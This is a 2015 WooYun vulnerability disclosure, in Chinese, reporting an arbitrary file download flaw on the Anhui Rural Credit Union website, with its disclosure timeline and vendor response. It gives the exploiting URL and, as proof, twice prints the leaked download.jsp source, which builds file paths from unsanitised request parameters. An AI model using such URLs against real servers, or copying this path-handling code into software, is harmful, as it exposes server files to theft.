漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0130208
漏洞标题:安徽省农村信用社联合社任意文件下载,可惜被防火墙挡住了
相关厂商:安徽省农村信用社联合社
漏洞作者: 继续沉默
提交时间:2015-07-29 16:48
修复时间:2015-09-14 16:06
公开时间:2015-09-14 16:06
漏洞类型:任意文件遍历/下载
危害等级:低
自评Rank:1
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-29: 细节已通知厂商并且等待厂商处理中
2015-07-31: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向核心白帽子及相关领域专家公开
2015-08-20: 细节向普通白帽子公开
2015-08-30: 细节向实习白帽子公开
2015-09-14: 细节向公众公开
简要描述:
安徽省农村信用社联合社任意文件下载,可惜被防火墙挡住
详细说明:
http://www.ahrcu.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/download.jsp?path=&fileName=download.jsp&name=
<%
try{
// 得到文件名字和路径
String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
String path=request.getParameter("path");
filepath=HSR.getRealPath("https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/")+"/"+path+"/";
String filename = request.getParameter("fileName");
String name = request.getParameter("name")==null?"":request.getParameter("name");
//if(name.indexOf(".")>0)name= name.substring(0,name.indexOf("."));
//name=new String(name.getBytes("GBK"),"iso-8859-1");
String dp = filepath + filename;
if(dp != null && dp.indexOf("\\")>=0) dp = dp.replace('\\','/');
java.io.File file = new java.io.File(dp);
if(file.exists()){
// 设置响应头和下载保存的文件名
response.reset();
filename = filename.toLowerCase();
if(filename.lastIndexOf(".xls")>0){
response.setContentType("application/vnd.ms-excel; charset=GBK");
}
else if(filename.lastIndexOf(".doc")>0){
response.setContentType("application/msword; charset=GBK");
}
else if(filename.lastIndexOf(".txt")>0){
response.setContentType("text/plain; charset=GBK");
}
else if(filename.lastIndexOf(".xml")>0){
response.setContentType("text/xml; charset=GBK");
}
else if(filename.lastIndexOf(".rar")>0){
response.setContentType("application/rar-file; charset=GBK");
}
else if(filename.lastIndexOf(".zip")>0){
response.setContentType("application/zip; charset=GBK");
}
else if(filename.lastIndexOf(".exe")>0){
response.setContentType("application/octet-stream; charset=GBK");
}
else{
response.setContentType("application/x-download; charset=GBK");
}
response.setHeader("Content-Disposition","attachment; filename=\"" + name + "\"");
byte[] buffer = new byte[4096];
BufferedOutputStream output = null;
BufferedInputStream input = null;
// 写缓冲区:
try {
output = new BufferedOutputStream(response.getOutputStream());
input = new BufferedInputStream(new FileInputStream(file));
int n = (-1);
while ((n = input.read(buffer, 0, 4096)) > -1) {
output.write(buffer, 0, n);
}
response.flushBuffer();
}
catch (Exception e) {
} // maybe user cancelled download
finally {
if (input != null) input.close();
if (output != null) output.close();
}
}else{
response.setContentType("text/html; charset=GBK");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<SCRIPT LANGUAGE="JavaScript">
<!--
alert("指定的文件不存在!");
history.back();
//-->
</SCRIPT>
</head>
<body>
</body>
</html>
<%
}
}catch(Exception ex){
}
%>
漏洞证明:
http://www.ahrcu.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/download.jsp?path=&fileName=download.jsp&name=
<%
try{
// 得到文件名字和路径
String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
String path=request.getParameter("path");
filepath=HSR.getRealPath("https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/")+"/"+path+"/";
String filename = request.getParameter("fileName");
String name = request.getParameter("name")==null?"":request.getParameter("name");
//if(name.indexOf(".")>0)name= name.substring(0,name.indexOf("."));
//name=new String(name.getBytes("GBK"),"iso-8859-1");
String dp = filepath + filename;
if(dp != null && dp.indexOf("\\")>=0) dp = dp.replace('\\','/');
java.io.File file = new java.io.File(dp);
if(file.exists()){
// 设置响应头和下载保存的文件名
response.reset();
filename = filename.toLowerCase();
if(filename.lastIndexOf(".xls")>0){
response.setContentType("application/vnd.ms-excel; charset=GBK");
}
else if(filename.lastIndexOf(".doc")>0){
response.setContentType("application/msword; charset=GBK");
}
else if(filename.lastIndexOf(".txt")>0){
response.setContentType("text/plain; charset=GBK");
}
else if(filename.lastIndexOf(".xml")>0){
response.setContentType("text/xml; charset=GBK");
}
else if(filename.lastIndexOf(".rar")>0){
response.setContentType("application/rar-file; charset=GBK");
}
else if(filename.lastIndexOf(".zip")>0){
response.setContentType("application/zip; charset=GBK");
}
else if(filename.lastIndexOf(".exe")>0){
response.setContentType("application/octet-stream; charset=GBK");
}
else{
response.setContentType("application/x-download; charset=GBK");
}
response.setHeader("Content-Disposition","attachment; filename=\"" + name + "\"");
byte[] buffer = new byte[4096];
BufferedOutputStream output = null;
BufferedInputStream input = null;
// 写缓冲区:
try {
output = new BufferedOutputStream(response.getOutputStream());
input = new BufferedInputStream(new FileInputStream(file));
int n = (-1);
while ((n = input.read(buffer, 0, 4096)) > -1) {
output.write(buffer, 0, n);
}
response.flushBuffer();
}
catch (Exception e) {
} // maybe user cancelled download
finally {
if (input != null) input.close();
if (output != null) output.close();
}
}else{
response.setContentType("text/html; charset=GBK");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<SCRIPT LANGUAGE="JavaScript">
<!--
alert("指定的文件不存在!");
history.back();
//-->
</SCRIPT>
</head>
<body>
</body>
</html>
<%
}
}catch(Exception ex){
}
%>
修复方案:
版权声明:转载请注明来源 继续沉默@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2015-07-31 16:04
厂商回复:
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给安徽分中心,由安徽分中心后续协调网站管理单位处置。
最新状态:
暂无